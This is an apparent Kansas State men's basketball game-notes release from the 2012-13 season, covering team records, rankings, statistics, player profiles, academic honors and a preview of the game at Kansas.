--The three-man senior class of Jordan Henriquez, Martavious Irving and Rodney McGruder could be one of the best-ever in school history. The trio currently boast a 92-34 (.730) record during their playing careers, which ranks sixth on the all-time wins list by a class. They are six wins away from posting the most wins by a senior class in school history (96 by Victor Ojeleye and Jamar Samuels, 2008-12). They are the fourth straight senior class to tally 90 or more wins in their career.
--Twelve of the 21 games have been at home (including a home game vs. No. 8/9 Florida in Kansas City's Sprint Center), where the Wildcats have won 13 of their last 14 home games, including 12 of 13 at Bramlage Coliseum. The team's 12-game overall home winning streak and 11-game streak at Bramlage ended in a 59-55 loss to No. 3/2 Kansas. The 11-game streak tied three other teams for the fourth-longest in the arena's 25-year history, including the longest since winning 14 in a row in 2011-12.
--K-State is 5-1 in road games this season, winning at George Washington (65-62), West Virginia (65-64), TCU (67-54), Oklahoma (52-50) and Texas Tech (68-59) to go with a 73-67 loss at Iowa State on Jan. 26. The loss at Hilton Coliseum snapped the Wildcats' six-game winning streak in road games, including five-game streak in Big 12 play, which dated back to last season and was the longest since 2010. The Wildcats have improved their play on the road in the Big 12, posting a 28-25 record over the past seven seasons (which began in 2006-07) after winning just 10 of 80 road games in the league's first 10 years (1997-2006).
--K-State received its first national ranking of the season on Dec. 24, appearing at No. 25 in The Associated Press Top 25 with 152 points, and held its best ranking at No. 11 (with 927 points) on Jan. 21. The No. 11 ranking was the highest since also checking in at No. 11 on Dec. 20, 2010. The Wildcats improved to No. 13 in the AP poll and No. 15 in the USA Today Coaches poll on Feb. 4, which marked the fifth straight week the team has been ranked in both polls. The Wildcats have a 247-93 (.726) all-time record as a ranked team since first being ranked in 1949-50, including a 7-4 (.636) mark as the No. 13 team in The Associated Press poll.
--K-State ranks in the Top 50 in six categories nationally, including 15th in 3-point field goal percentage defense (28.7), 16th in scoring defense (57.8), 21st in assist-to-turnover ratio (1.34), 30th in assists (15.7), 39th in scoring margin (10.5) and 41st in turnovers per game (11.7). Angel Rodriguez (2.46) ranks 33rd nationally and tops in the Big 12 in assist-to-turnover ratio. The Wildcats place in the Top 5 in 16 of 21 Big 12 categories, including first in scoring defense and assist-to-turnover ratio and second in assists, offensive rebounds, 3-point field goal percentage defense and turnover margin. In Big 12-only games, the squad ranks first in scoring defense, 3-point field goal percentage, turnover margin and assist-to-turnover.
--The Feb. 2 meeting with Oklahoma marked the 11th time K-State has faced a former head coach (Tex Winter, Lon Kruger and Bob Huggins) with the Wildcats winning four (including three this season) of those occurrences. Prior to the win over West Virginia and the two over Oklahoma, the last victory over a former head coach came in a 95-80 win over a Kruger-coached UNLV squad on Dec. 12, 2009. The team will play at least one more such game (West Virginia at home on Feb. 18) this season. K-State lost twice to Winter (Washington in 1971 and Long Beach State in 1978), while the Wildcats are now 4-4 against Kruger in his stops and 1-1 against Huggins at West Virginia (2011, 2013). Interestingly enough, the Wildcats are 6-0 against head coaches prior to them coming to K-State. The school went 1-0 against Winter at Marquette (1953), 3-0 against Jack Hartman at Southern Illinois (1964, 1968 and 1969), 1-0 against Kruger at Texas-Pan American (1986) and 1-0 against Huggins at Akron (1988).
--The 67-61 win over No. 8/9 Florida in the Hy-Vee Wildcat Classic on Dec. 22 was the first regular-season, non-conference Top 10 victory since knocking off No. 8 Minnesota at home, 62-52, on Dec. 21, 1981. Overall, it was the 12th non-conference Top 10 win (and first since defeating No. 3 Purdue, 73-70, in the 1988 NCAA Tournament), including the seventh in the regular season.
--K-State had a tremendous semester in the classroom, as the team had a cumulative 2.839 GPA (the highest in 12 years) during the Fall 2012 semester. A program-best eight players - Adrian Diaz, Rodney McGruder, Angel Rodriguez, Brian Rohleder, Ryan Schultz, Shane Southwell, Will Spradling and Nino Williams - were named to the Fall Big 12 Commissioner's Honor Roll on Jan. 9. Rohleder was one of 31 student-athletes to post a perfect 4.0 GPA during the semester.
K-State has proven to be a balanced team across the board with six players averaging five or more points, including just one in double figures, and seven averaging three or more rebounds per game. Senior Rodney McGruder (14.6 ppg.) is the only Wildcat to average in double figures (ranks sixth in the Big 12 in scoring), while five others - Angel Rodriguez (9.4 ppg.), Will Spradling (8.5 ppg.), Shane Southwell (7.9 ppg.) and Thomas Gipson (7.5 ppg.) - are averaging better than seven points per contest. The team has seen nine players collect 60 double-digit scoring games with McGruder (16) leading the way, while the squad has seven players with 45 or more field goals made with McGruder's 124 makes the second-most in the Big 12. Only Baylor (10) has more players with double-digit scoring efforts in the Big 12, while K-State and Iowa State are the only league schools with seven different players with 45 or more made field goals. In all, the Wildcats have had six players lead or share the lead in scoring led by McGruder (10). Gipson (5.5 rpg.) paces the squad in rebounding, while McGruder (5.4 rpg.) and Jordan Henriquez (4.4 rpg.) are averaging better than four rebounds per game. The team has had eight players either lead or share the lead in rebounding with McGruder pacing a team-high six times and Gipson leading the way on five occasions.
The Wildcats have also been diverse in other categories, including seven players with 10+ assists and eight with 10+ steals.
Rodriguez has dished out a team-best 96 assists (49 in Big 12 play) with six players either leading or sharing the lead in assists. Rodriguez also has a team-high 25 steals (15 in Big 12 play), while eight have either led or shared the lead in steals. Four players -- McGruder (31.3 mpg.), Spradling (30.0), Rodriguez (24.9) and Southwell (23.0) -- are averaging more than 20 minutes, while seven others are averaging 10+ minutes. Seven players have at least one start with McGruder and Spradling starting all 22.
The switch to a four-guard lineup has proved to be a pivotal decision by Bruce Weber, as the Wildcats are averaging 66.6 points on 45 percent shooting, including 35.9 percent from 3-point range, since making the change 13 games ago. The squad has posted an 11-2 mark in those 13 games, including victories over No. 8/9 Florida, No. 22/21 Oklahoma State, Oklahoma (twice) and Texas. Although the team scored nearly 71 points in their first nine games (before the switch), they are shooting nearly five percent higher from the field (45.0 from 40.8), two percent higher from 3-point range (35.9 from 33.3) and posting more 3-pointers (6.5 from 6.0), while dishing out more assists (15.8 from 15.6) and producing fewer turnovers (10.9 from 12.8) in the last 13 games. The Wildcats have connected on better than 45 percent from the field in seven of 13 games, including 50 percent or better on four occasions, while shooting 40 percent or better from 3-point range in five games. Rodney McGruder is averaging almost five more points per game (16.5 from 11.9) on nearly 10 percent higher field goal percentage (48.0 from 37.8) in the last 13 games, while Shane Southwell has improved his scoring average from 6.3 points in first nine to 8.7 points in the last 13 games.
K-State is starting to find more of an offensive rhythm in Big 12 play, where the Wildcats rank first in the league in 3-point field goal percentage (37.4) and second in field goal percentage (44.7) and 3-point field goals made (7.4) at the midway point of the conference season. The squad has connected on 43 percent or better from the field in seven of its nine league games, including better than 50 percent against West Virginia and Iowa State, while the 223 field goalsmade are the third-most. The team has shot better than 35 percent from 3-point range in six league games with nine or more 3-point makes in three contests. Rodney McGruder ranks second in Big 12 games in 3-point field goals made (2.3) and 3-point field goal percentage (42.9), fifth in scoring (16.0 ppg.) and sixth in field goal percentage (48.6), while Shane Southwell is fifth in 3-point field goal percentage (39.5) and ninth in 3-point field goals made (1.7) in Big 12 games. Angel Rodriguez, who has 39 assists to just eight turnovers in the last seven games, is tops in league-only contests in assist-to-turnover ratio (3.3) and third in assists (5.4 apg).
K-State has been solid protecting the ball, as the squad ranks first in the Big 12 in assist-to-turnover ratio (1.3) and second in turnover margin (+2.5). Thus far, the Wildcats have produced a Big 12-low 11.7 turnovers per game, while forcing its foes into an average of 14.2 turnovers (fourth-most in the Big 12). The team has 14 or fewer miscues in 16 games, including a season-low six against Texas, while they have forced their foes into 18 or more turnovers five times, including a season-high 26 by Lamar.
Seven Wildcats have posted an even or positive assist-to-turnover ratio this season, including its four primary ball-handlers (Angel Rodriguez, Martavious Irving, Shane Southwell and Will Spradling) combining for 256 assists to 108 turnovers (2.4 ratio). The current ratio for the quartet is a solid improvement after posting a 1.4 ratio (302 assists to 211 turnovers) as a group in 2011-12. Rodriguez (2.5) ranks first in the Big 12 and 28th nationally in assist-to-turnover ratio, while Spradling's team-best ratio (2.7) is outside the minimums to rank. Spradling, who has 62 assists to 23 turnovers, led the team with a 1.7 assist-to-turnover ratio a season ago, while Rodriguez has made a notable improvement (96 assists to 39 turnovers) in the area after posting a 1.2 ratio (101 assists to 85 turnovers) as a freshman. Irving has also nearly doubled his ratio (2.2 from 1.5) with 48 assists to 22 turnovers, while Southwell has a solid 2.1 ratio (50 assists to 24 turnovers) after posting a 1.6 ratio last year.
Adding to the K-State's balanced attack is the production from its bench, where the Wildcats are averaging 22.3 points, including a 491-357 edge over foes. The team has collected at least 20 points from its bench in 12 games, including a season-high 45 points vs. North Dakota on Nov. 9 and Texas on Jan. 30. Reserves have scored nearly half of the team's points five times this season with Thomas Gipson posting the scoring lead against North Dakota (13), Delaware (12) and Texas (17), while Shane Southwell had a game-high 16 points vs. Alabama-Huntsville and Nino Willams tallied a career-high 17 points against No. 22/21 Oklahoma State. The rebounding leader has come from the bench in nine games with Gipson posting team-highs vs. Delaware (6) and Texas (7), Jordan Henriquez collecting team-bests vs. West Virginia (7) and TCU (10), D.J. Johnson grabbing team-highs vs. North Dakota (9) and Lamar (8), Southwell recording a career-high nine rebounds vs. UAH, Adrian Diaz collecting a career-best 10 vs. North Florida and Williams snagging seven rebounds vs. No. 8/9 Florida. Over 40 percent (344) of the team's rebounding total and nearly 35 percent (501) of the scoring total has come from the bench this season.
K-State is averaging 17.7 personal fouls per game this season, including 19.6 per game in its nine Big 12 games. Opponents have knocked down 255 free throws in 391 attempts, an average of 11.6 makes per game, with the Wildcats countering with 264 makes on 401 attempts for an average of 12.0 makes per game. The nine Big 12 opponents have combined to shoot 58 more free throws than K-State (186 to 128), while scoring 119 points (13.2 FT/m) to just 86 (9.6 FT/m) for the Wildcats from the line.
K-State has continued to be one of the best defensive teams in the nation, ranking 16th in 3-point field goal percentage defense (28.8), 18th in scoring defense (57.8) and 42nd in turnover margin (+2.9). In all, the Wildcats rank either first or second in five Big 12 defensive categories, including first in scoring defense in both overall (57.8 ppg.) and Big 12-only games (60.3 ppg.) and rebounding defense, second in 3-point field goal percentage defense and turnover margin and third in rebounding margin.
The 1,272 points surrendered through the first 22 games are the fewest in the shot clock era (1985-86) and the fewest since the 1982-83 squad allowed just 1,234 points (56.1 ppg.) through the first 22 games. The current 57.8 points per game scoring average is the third-lowest since 1951 behind only the 1982-83 (56.1 ppg.) and 1981-82 (56.5 ppg.) squads. The team has held 17 of its 22 opponents to 65 points or less, including nine to 55 points or less, while eight have been held under 40 percent shooting from the field and eight to 25 percent or less shooting from 3-point range. The defensive effort has been even better in the first half, as the Wildcats are holding its 22 opponents to just 24.9 points on 37.5 percent shooting, including 26.8 percent from 3-point range. It has held five opponents to 20 points or less in the first half. The team's defense was nearly historic in the 87-26 win over Alabama-Huntsville on Nov. 13, as the 26 points allowed were one shy of the Bramlage Coliseum record of 25 set against Savannah State on Jan. 7, 2008. The Chargers' 16.4 field goal percentage was only surpassed by Savannah State's 15.5 percentage.
A trademark of Frank Martin-coached teams were their ability to score points off of opponent's mistakes and Bruce Weber has continued that legacy. The Wildcats are out-scoring their opponents, 353-247 (an average of 16.0 points per game), through the first 22 games in points off of turnovers. The squad has posted 10 or more points off of miscues in 17 of 22 games, including 20 or more points on five occasions, with a season-best 34 vs. Lamar on Nov. 12. The team has out-scored its nine Big 12 foes, 150-93 (an average of 16.7 points per game), in points off of turnovers, including 20 or more points in back-to-back wins over TCU and Oklahoma and a near season-best 33-point effort against Texas. They are 13-1 when scoring more points off of turnovers. The Wildcats are out-scoring their opponents, 310-192 (an average of 17.2 points per game), in points off of turnovers in their 18 victories, while are being outscored 55-43 (an average of 10.8 points per game) in points off of turnovers in their four losses.
K-State is forcing its opponents into 14.2 turnovers per game (fourth-most in the Big 12), including a season-high 26 by Lamar, while turning the ball a Big 12-low 11.7 times per game. The 1.3 assist-to-turnover ratio ranks 20th and first in the Big 12 with Angel Rodriguez boasting the league's best assist-to-turnover ratio and ranking 28th nationally. In Martin's five seasons, the Wildcats averaged 18.2 points per game off of turnovers. Nearly 25 percent of the points scored in that period came off of offense generated from miscues. The school has scored 500 or more points off of opponent turnovers in six straight seasons.
Although they have dropped games to No. 3/2 Kansas and Iowa State by a combined 10 points, the Wildcats have been successful in close games this season, posting a 10-2 record in games decided by 10 points or less and a 6-2 mark in games decided by six points or less, including five Big 12 wins. Junior Will Spradling, who went 10-of-10 in the last 35 seconds in wins over Delaware, George Washington and Texas Southern, paces the team in both free throws (19) and free throw attempts (24) in the last five minutes of games. Sophomore Angel Rodriguez (15-of-18), senior Rodney McGruder (10-of-13), junior Shane Southwell (8-of-10) have all been solid in the last five minutes of games. In the 65-64 win over West Virginia on Jan. 12, Southwell knocked down two free throws in the last 21 seconds and also blocked the game-winning shot with one second left. With the score tied at 50-all against Oklahoma on Feb. 2, Rodriguez knocked down a pair of game-winning free throws with just 5.6 seconds left.
REBOUNDING ISSUEs
Rebounding had been a source of strength earlier in the season, but has now become a source of concern since the start of Big 12 play, where the Wildcats rank fifth in rebounding margin (+0.4), seventh in defensive rebounds (22.0), eighth in rebounds (32.0) and ninth in offensive rebounds (10.0). Since switching to a four-guard line-up 13 games ago, the squad is averaging 33.9 rebounds, including 11.0 offensive rebounds, with opponents posting 30.5 rebounds, including 9.7 offensive rebounds. In the team's first nine games, they averaged 42.6 rebounds, including 18.2 offensive rebounds, with its foes posting 34.1 rebounds, including 11.3 offensive rebounds. The Wildcats out-scored their opponents, 153-99 (+54), in second chance points in its first nine games, but has since been out-scored 141-137 (-4) in second chance points in the last 13 games.
K-State still boasts solid overall rebounding numbers, where it ranks second in offensive rebounds (14.0), third in rebounding margin (+5.5) and fifth in rebounds (37.5) in 22 games. Overall, the Wildcats have out-rebounded their foes by a 824-704 margin, including 307-228 on the offensive end. The squad is 16-0 this season when out-rebounding its opponent, but just 2-4 when it is out-rebounded. K-State has at least 10 offensive rebounds in 18 games with a season-high 29 against North Florida on Nov. 18. Sophomore Thomas Gipson (5.5 rpg.) ranks 20th in the Big 12 in rebounding, while he is seventh (2.6) in offensive rebounds.
McGRUDER AMONG ELITE COMPANY
Senior Rodney McGruder (1,351 points & 584 rebounds) became just the 11th player in K-State history to crack the 1,300-point plateau against Kansas on Jan. 22, while also cracking school's all-time Top 10 scoring list. He sits ninth all-time in scoring at
K-State, just 13 points away from Chuckie Williams (1,364; 1972-76) for eighth place. He is now one of just six players in school history with at least 1,300 points and 500 rebounds in a career, joining Rolando Blackman (1,844 points & 607 rebounds), Bob Boozer (1,685 points & 824 rebounds), Cartier Martin (1,546 points & 546 rebounds), Ed Nealy (1,304 points & 1,069 rebounds).
McGruder ranks in the Top 10 of 12 other career categories, including consecutive starts (89, 3rd), 3-point field goals (169, 5th), 3-point field goal percentage (38.9%, 6th), 3-point field goals attempted (435, 6th), minutes (3,226, 6th), games (122, 6th), starts (89, 8th), consecutive games (98, 8th), double-digit scoring games (73, 8th), field goals (488, 9th), field goal attempts (1,077, 10th) and steals (93, 10th). He ranks in the Top 15 in five Big 12 categories, including field goals (2nd), scoring (6th), minutes (9th), 3-point field goals (11th) and field goal percentage (13th). He ranks sixth in scoring in Big 12-only games (16.0 ppg.), while he is second in 3-point field goals and 3-point field goal percentage and sixth in field goal percentage.
McGRUDER NAMED PHILLIPS 66 BIG 12 PLAYER OF THE WEEK FOR FOURTH TIME
Senior Rodney McGruder earned Phillips 66 Big 12 Player of the Week honors for the fourth time in seven weeks on Jan. 21 after helping K-State run its winning streak to eight games. McGruder's four Big 12 Player of the Week awards break his tie with Michael Beasley (three, 2007-08) for the most by a Wildcat in a single-season, while McGruder's five overall weekly awards are the most-ever by a K-State player in the Big 12 era. He first won the weekly honor as a junior on Dec. 26, 2011 then this season on Dec. 10 and 24, 2012 and again on Jan. 7. McGruder posted back-to-back 20-point outings for the first time this season, as he averaged a team-best 20.5 points on 55.6 percent shooting (15-of-27), including 46.7 percent (7-of-15) from 3-point range, with 3.0 rebounds, 3.0 assists and 1.0 steals in 36 minutes per game in wins over TCU and Oklahoma. He has now scored in double figures in 10 consecutive games with an average of 18.3 points per game. McGruder opened the week with a 21-point effort in a road win at TCU then followed with his fifth 20-point outing of the season in a win over Oklahoma. It was his 17th and 18th 20-point games of his career with the Wildcats posting an impressive 16-2 mark in those contests.
Junior Shane Southwell has made quite the jump in his productivity in year three, as he is averaging 7.9 points on 45 percent shooting, including 41.7 percent from 3-point range, with 3.9 rebounds and 2.5 assists in 23 minutes per game with 13 starts in 20 games played. That production has been even more of factor during the team's last 13 games (of which the team is 11-2), as he is averaging 8.7 points on 41.6 percent shooting, including 38.3 percent from 3-point range, with 4.4 rebounds and 2.8 assists in 27 minutes per game in 13 starts. Southwell had a huge game in the win against West Virginia on Jan. 12, as he knocked down two free throws in the last 21 seconds to give the Wildcats the lead then blocked the game-winning shot with just one second remaining. After a career-high 19 points against No. 3/2 Kansas on Jan. 22, he posted 11 points against Iowa State to give him double-digit points for the 10th time in his career (8 K-State wins), including the sixth time this season. He entered the 2012-13 campaign averaging just 2.5 points on 36.1 percent shooting, including 25 percent from 3-point range, with 2.1 rebounds and 1.7 assists in 14.8 minutes per game with 62 games played and 19 starts during his two-year career.
Sophomore Angel Rodriguez has made steady improvement from his freshman to his sophomore season, as he ranks first or second on the team in six categories, including first in assists (96) and steals (25) and second in scoring (9.4 ppg.) and double-figure scoring games (11). He has helped the Wildcats rank first in the Big 12 in assist-to-turnover ratio and and second in assists and turnover margin, while he places in the league's Top 10 in assist-to-turnover ratio (2.5, 1st), assists (4.8, 4th) and steals (1.3, 10th) and paces the league in conference-only assist-to-turnover ratio (3.5) and is third in assists (5.4). He has scored in double figures 11 times, including a career-best 19 points vs. Lamar to go with game-highs at George Washington (17) and Gonzaga (14). He nearly had his first career double-double against Oklahoma on Jan. 19 with 12 points and a career-high nine assists before posting 12 points and a game-high eight assists against Kansas on Jan. 22. In Big 12 play, he has 49 assists to just 15 turnovers, including a remarkable 39 assists to eight turnovers in the last seven games. He was named to the NIT Season Tip-Off All-Tournament Team after averaging 11 points and 5.5 assists in two games in New York, as the team finished in second place.
Junior Will Spradling has been a model of consistency from the free throw line, knocking down 38-of-44 opportunities, including going 10-of-10 in the last 35 seconds in wins over Delaware, George Washington and Texas Southern. His effort has raised his career free throw percentage to 83.0 (163-of-196), which is the second-highest in school history behind Steve Henson (90.0; 361-of-401; 1986-90). Spradling has not only been stellar on the free throw line, but he ranks first on the team in assist-to-turnover ratio (2.7). He also places seventh in the Big 12 in 3-point field goal percentage (36.2), ninth in 3-point field goals (1.5) and 11th in assists (2.8 apg.). He ranks first on the team in 3-point field goals (34), second in assists (62) and third in scoring (8.5 ppg.), steals (21) and double-digit scoring games (10), while he tallied a season-high 17 points against Florida on Dec. 22. Since going scoreless against Kansas on Jan. 22, he has posted double-digit efforts at Iowa State (15) and at Oklahoma (12).
After playing in just 15 games his first season (including a medical redshirt in 2010-11), sophomore Nino Williams is starting to emerge as an impact player for K-State. He has played in 21 of 22 games with the third-most starts (11), averaging 5.1 points on 45.1 percent shooting (46-of-102) with 3.9 rebounds in 15.1 minutes per game. He had career week in wins against South Dakota and No. 22/21 Oklahoma State, in which, he averaged 16.5 points on 66.7 percent shooting with 6.0 rebounds in 22.5 minutes per game. He tallied a career-best 16 points vs. South Dakota on 7-of-10 field goals before eclipsing that mark with 17 points off the bench against OSU on 7-of-11 field goals. If you include the Kansas City game, he averaged 13.7 points on 51.5 percent shooting with 8.3 rebounds in 25.7 minutes per game in a three-game period from Dec. 29 to Jan. 5.
Sophomore Thomas Gipson broke out of a slump against Texas on Jan. 30, as he responded with a game-high 17 points on 7-of-10 field goals and a team-high seven rebounds in 21 minutes. Gipson, who had started 13 consecutive games prior to coming off the bench against the Longhorns, posted his individual high in a Big 12 game, while registering double-digits for the seventh time this season, including the first time since the Kansas City game on Dec. 29. He came into the Texas game, averaging just 4.7 points on 45.5 percent shooting (10-of-22) and 2.8 rebounds in 16.0 minutes per game in Big 12 play. Since coming off the bench in the last three games, he is averaging 11.7 points on 57.7 percent shooting with 5.3 rebounds in 23.3 minutes per game. He had arguably his best all-around game against Texas Southern on Dec. 18 with a season-high 14 points to go with 12 rebounds and career-bests in blocks (4) and steals (3) in 26 minutes. It marked his fourth career double-double, but the first of the season. The 12-rebound effort tied his season-high that he also had against George Washington on Dec. 8. The team leader in rebounds at 5.5 per game, he ranks 20th in the Big 12 in rebounds, while his seventh in offensive rebounds at 2.6 per game.
K-State got a jump start on its preparations for the 2012-13 men's basketball season with its 10-day trip to Sao Paulo and Rio de Janeiro, Brazil from August 8-17, 2012. The NCAA allows teams to make a foreign trip once every four years, but this was the first by the program since playing four games in and around Vancouver, British Columbia in October 2004. K-State played four games during the trip, posting a 2-2 record as the squad had to adjust to international rules (four, eight-minute quarters among other differences with NCAA rules). The Wildcats averaged 70 points on 41.9 percent shooting, including 31.4 percent from the 3-point range, while averaging 37.5 rebounds, 15.8 assists, 4.8 blocks and 9.8 blocks per game. Angel Rodriguez paced all scorers in Brazil with a 10.3 points per game average on 40 percent shooting, including 35.7 percent from 3-point range, with a team-best 4.8 assists and 2.3 steals per game. Three others - Nino Williams, Rodney McGruder and Adrian Diaz - all averaged 9.0 points per game, while junior Will Spradling and senior Jordan Henriquez added 8.5 points and 7.3 points per game averages. Williams led in rebounding (6.0 rpg.), 3-point field goal percentage (40.0) and free throw percentage (83.3), while Diaz was tops in field goal percentage (58.3) and blocks (2.5 bpg.).
UP NEXT: AT 5/5 KANSAS (19-3, 7-2 Big 12)
K-State will make a quick turnaround on Monday to play No. 5/5 Kansas (19-3, 7-2 Big 12) on ESPN's Big Monday at 8 p.m.